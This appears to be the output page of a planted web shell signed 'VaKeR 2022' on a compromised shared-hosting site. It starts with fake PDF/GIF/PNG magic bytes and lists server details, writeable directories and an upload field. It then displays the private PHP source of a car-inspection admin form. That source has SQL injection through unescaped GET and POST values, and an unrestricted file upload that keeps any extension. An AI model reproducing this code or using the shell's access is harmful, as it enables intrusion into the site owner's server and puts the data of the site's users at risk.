%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_93b53270/admin/manage_inspection/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_93b53270/admin/manage_inspection/add_edit.php
<?php 
// ini_set('display_errors', 1);
// ini_set('display_startup_errors', 1);
error_reporting(0);
include("../function.php");
if($_SESSION['admin_id']==""){
header('location:../login.php');
}
$login_tbl=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM admin WHERE admin_id='".$_SESSION['admin_id']."'"));

$id = $_GET['id'];
// Sidebar strat
include('../include/sidebar.php');
$msql = mysqli_query($conn, "SELECT * FROM `inspection_tbl` WHERE id='$id'");
if(mysqli_num_rows($msql)>0){
    $fetQuery = mysqli_fetch_array($msql);     
}
?>

<!-- [ Main Content ] start -->
<section class="pcoded-main-container">
    <div class="pcoded-content">
        <!-- [ breadcrumb ] start -->
        <div class="page-header">
            <div class="page-block">
                <div class="row align-items-center">
                    <div class="col-md-12">
                        <div class="page-header-title">
                            <div class="card-header d-flex justify-content-between">
                                <button class="btn btn-dark btn-sm btn-round fw-bold has-ripple text-white"><i class="feather icon-edit"></i>&nbsp; Add-Edit Inspection</button>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!-- [ breadcrumb ] end -->
        <!-- [ Main Content ] start -->
        
    <div class="row">
        <div class="col-md-12">
            <div class="card">
                <div class="card-body">
                    <?php if(isset($_SESSION['message'])){
                    echo '<div class="alert alert-success alert-dismissible fade show" role="alert">
                    <i class="feather icon-thumbs-up text-success"></i>&nbsp; &nbsp;<strong class="text-dark">'.$_SESSION['message'].'</strong> 
                    <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
                    </button>
                    </div>';
                    }
                    unset($_SESSION['message']); 
                    ?>
                        <form method="post" enctype="multipart/form-data" id="inspectionForm">                       
                        <div class="row">
                            <div class="col-md-12">
                                <h4>Full Car Inspection Report</h4>
                            </div>

                            <div class="col-md-4">
                                <div class="form-group">
                                <label class="form-label" for="User">User Name Id</label>
                                <select class="form-control" name="user_id" id="user_id" required>
                                    <?php
                                        $fetch_row=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM `user_tbl` WHERE type='User' AND status='1' AND user_id='".$_GET['user_id']."'")); 
                                    ?>
                                    <option value="<?=$fetch_row['user_id']?>" <?=($fetch_row['user_id']==$_GET['user_id'])? 'selected':''?>><?=$fetch_row['user_id']." - ".$fetch_row['name']?></option>
                                </select>
                                <div class="error-message" id="error-user_id" style="color: red;"></div>
                                </div>
                            </div>

                            <div class="col-md-4">
                                <div class="form-group">
                                    <label class="form-label" for="Owner Name">Owner Name</label>
                                    <input type="text" name="owner_name" id="owner_name" value="<?=isset($fetQuery['owner_name']) ? $fetQuery['owner_name'] : ''; ?>" class="form-control" placeholder="Enter Owner Name">
                                    <div class="error-message" id="error-owner_name" style="color: red;"></div>
                                </div>
                            </div>
                            <div class="col-md-4">
                                <div class="form-group">
                                    <label class="form-label" for="Car Name & Model">Car Name & Model</label>
                                    <input type="text" name="car_name_model" id="car_name_model" value="<?=isset($fetQuery['car_name_model']) ? $fetQuery['car_name_model'] : ''; ?>" class="form-control" placeholder="Enter Car Name & Model Name">
                                    <div class="error-message" id="error-car_name_model" style="color: red;"></div>
                                </div>
                            </div>
                            <div class="col-md-4">
                                <div class="form-group">
                                    <label class="form-label" for="Year of Manufacture">Year of Manufacture</label>
                                    <input type="number" class="form-control" name="year_of_manufacture" id="year_of_manufacture" 
                                    value="<?=isset($fetQuery['year_of_manufacture']) ? $fetQuery['year_of_manufacture'] : ''; ?>" 
                                    placeholder="Enter Year of Manufacture" 
                                    min="1900" max="<?php echo date('Y'); ?>" 
                                    required pattern="\d{4}" title="Please enter a 4-digit year" />


                                    <div class="error-message" id="error-year_of_manufacture" style="color: red;"></div>
                                </div>
                            </div>
                            <div class="col-md-4">
                                <div class="form-group">
                                    <label class="form-label" for="Chassis Number">Chassis Number</label>
                                    <input type="text" name="chassis_number" id="chassis_number" value="<?=isset($fetQuery['chassis_number']) ? $fetQuery['chassis_number'] : ''; ?>" class="form-control" placeholder="Enter Chassis Number">
                                    <div class="error-message" id="error-chassis_number" style="color: red;"></div>
                                </div>
                            </div>
                            <div class="col-md-4">
                                <div class="form-group">
                                    <label class="form-label" for="Number Plate">Number Plate</label>
                                    <input type="text" name="number_plate" id="number_plate" value="<?=isset($fetQuery['number_plate']) ? $fetQuery['number_plate'] : ''; ?>" class="form-control" placeholder="Enter Number Plate">
                                    <div class="error-message" id="error-number_plate" style="color: red;"></div>
                                </div>
                            </div>

                            <div class="col-md-12">
                                <div class="form-group">
                                    <label class="form-label" for="File Upload">File Upload</label>
                                    <input type="file" name="file_upload" id="file_upload" class="form-control">

                                    <?php 
                                    $file = $fetQuery['file_upload'];

                                    if (!empty($file)) {

                                        $file_path = "../../images/Upload/inspections/" . $file; // change to your folder path
                                        $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));

                                        // Show Image Preview
                                        if (in_array($ext, ['jpg','jpeg','png','gif','webp'])) {
                                            echo '<div style="margin-top:10px;">
                                                    <a href="'.$file_path.'" target="_blank" class="btn btn-sm btn-primary"><img src="'.$file_path.'" style="max-width:120px; border:1px solid #ccc; padding:3px;"></a>
                                                </div>';
                                        }

                                        // Show PDF Preview Button
                                        elseif ($ext == 'pdf') {
                                            echo '<div style="margin-top:10px;">
                                                    <a href="'.$file_path.'" target="_blank" class="btn btn-sm btn-primary">View PDF</a>
                                                </div>';
                                        }

                                        // Other file types
                                        else {
                                            echo '<div style="margin-top:10px;">
                                                    <a href="'.$file_path.'" target="_blank">'.$file.'</a>
                                                </div>';
                                        }
                                    }
                                    ?>

                                </div>
                            </div>

                        </div>


                         <div class="row">
                            <div class="col-md-12 text-center">
                            <?=($id!='') ? '<input type="submit" name="update" id="update" class="btn btn-success" value="Update" style="padding: 9px 85px; font-size: large;">' : '<input type="submit" name="save" id="save" class="btn btn-success" value="Save" style="padding: 9px 85px; font-size: large;">'?>
                            </div>
                        </div>
                                        
                        </form>
                    </div>
                </div>
			</div>
		</div>
	</div>
</section>

<?php include('../include/footer.php'); ?>

<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/select2@4.1.0-beta.1/dist/js/select2.min.js"></script>
<script>
    $(document).ready(function() {
    $('.select2').select2();
    });
</script>


<!--    Save Inspection Form Start     -->

<?php 
      if(isset($_POST['save'])){

        // inspection Tbl Data Variables 
        $user_id = $_POST['user_id'];
        $owner_name = $_POST['owner_name'];
        $owner_name=str_replace("'", "\'", $owner_name);
        $car_name_model = $_POST['car_name_model'];
        $car_name_model=str_replace("'", "\'", $car_name_model);
        $year_of_manufacture = $_POST['year_of_manufacture'];
        $year_of_manufacture=str_replace("'", "\'", $year_of_manufacture);
        $chassis_number = $_POST['chassis_number'];
        $chassis_number=str_replace("'", "\'", $chassis_number);
        $number_plate = $_POST['number_plate'];
        $number_plate=str_replace("'", "\'", $number_plate);

        $insert1 = mysqli_query($conn,"INSERT `inspection_tbl` SET 

        `user_id` = '$user_id',
        `owner_name`='$owner_name', 
        `car_name_model`='$car_name_model',
        `year_of_manufacture`='$year_of_manufacture', 
        `chassis_number`='$chassis_number',
        `number_plate`='$number_plate'
        ");

        $inspection_id = mysqli_insert_id($conn);

        $file_upload = $_FILES['file_upload']['name'];
        if(!empty($file_upload)){

            $file_upload_tmp = $_FILES['file_upload']['tmp_name'];
            $file_upload_ext=strtolower(end(explode('.', $file_upload)));
            $file_upload_rand = rand();
            $file_upload_file_name = $file_upload_rand . "." . $file_upload_ext;
            move_uploaded_file($file_upload_tmp,'../../images/Upload/inspections/' . $file_upload_file_name);
            mysqli_query($conn,"UPDATE `inspection_tbl` SET `file_upload`='$file_upload_file_name' WHERE `id` = '$inspection_id'");
        }

        if($insert1){
            echo "<script>window.location='show.php?page=users&&user_id=".$_GET['user_id']."';</script>";
            $_SESSION['message']="Record Added successfully";
        }

      }
?>

<!--    Save Inspection Form End     -->    


<!--    Update Inspection Form Start     -->

<?php 
      if(isset($_POST['update'])){

        // inspection Tbl Data Variables 
        $user_id = $_POST['user_id'];
        $owner_name = $_POST['owner_name'];
        $owner_name=str_replace("'", "\'", $owner_name);
        $car_name_model = $_POST['car_name_model'];
        $car_name_model=str_replace("'", "\'", $car_name_model);
        $year_of_manufacture = $_POST['year_of_manufacture'];
        $year_of_manufacture=str_replace("'", "\'", $year_of_manufacture);
        $chassis_number = $_POST['chassis_number'];
        $chassis_number=str_replace("'", "\'", $chassis_number);
        $number_plate = $_POST['number_plate'];
        $number_plate=str_replace("'", "\'", $number_plate);
        
        $file_upload = $_FILES['file_upload']['name'];
        if(!empty($file_upload)){
        
            $file_upload_tmp = $_FILES['file_upload']['tmp_name'];
            $file_upload_ext=strtolower(end(explode('.', $file_upload)));
            $file_upload_rand = rand();
            $file_upload_file_name = $file_upload_rand . "." . $file_upload_ext;
        
            move_uploaded_file($file_upload_tmp,'../../images/Upload/inspections/' . $file_upload_file_name);
        
            mysqli_query($conn,"UPDATE `inspection_tbl` SET `file_upload`='$file_upload_file_name' WHERE `id` = '$id'");
        }

        $update = mysqli_query($conn,"UPDATE `inspection_tbl` SET 
        `user_id` = '$user_id',
        `owner_name`='$owner_name', 
        `car_name_model`='$car_name_model',
        `year_of_manufacture`='$year_of_manufacture', 
        `chassis_number`='$chassis_number',
        `number_plate`='$number_plate' WHERE id='$id'");

        if($update){
            echo "<script>window.location='show.php?page=users&&user_id=".$_GET['user_id']."';</script>";
            $_SESSION['message']="Record Update successfully";
        }

      }
?>

<!--    Update Inspection Form End     -->

VaKeR 2022